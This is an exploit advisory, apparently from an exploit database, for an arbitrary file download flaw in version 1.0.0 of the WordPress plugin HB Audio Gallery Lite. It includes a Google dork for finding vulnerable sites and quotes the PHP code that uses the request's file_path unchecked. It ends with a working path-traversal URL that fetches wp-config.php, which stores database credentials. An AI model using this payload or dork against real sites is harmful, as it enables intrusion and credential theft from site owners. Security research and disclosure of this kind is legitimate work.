WordPress Plugin HB Audio Gallery Lite 1.0.0 - Arbitrary File Download

# Exploit Title: Wordpress Plugin HB Audio Gallery Lite - Arbitrary File Download
# Exploit Author: CrashBandicot
# Date: 2016-03-22
# Google Dork : inurl:/wp-content/plugins/hb-audio-gallery-lite
# Vendor Homepage: https://fr.wordpress.org/plugins/hb-audio-gallery-lite/
# Tested on: MSWin32
# Version: 1.0.0

# Vuln file : gallery/audio-download.php

11.   if( $_REQUEST['file_size'] && $_REQUEST['file_path'] ) {
13.       $file_size =  $_REQUEST['file_size'];
15.       $file =  $_REQUEST['file_path'];
17.       $filename = basename($file);
....
55.         Header("Content-Disposition: attachment; filename='" . $filename . "'");


# PoC : /wp-content/plugins/hb-audio-gallery-lite/gallery/audio-download.php?file_path=../../../../wp-config.php&file_size=10


# 22/03/2016 - Informed Vendor about Issue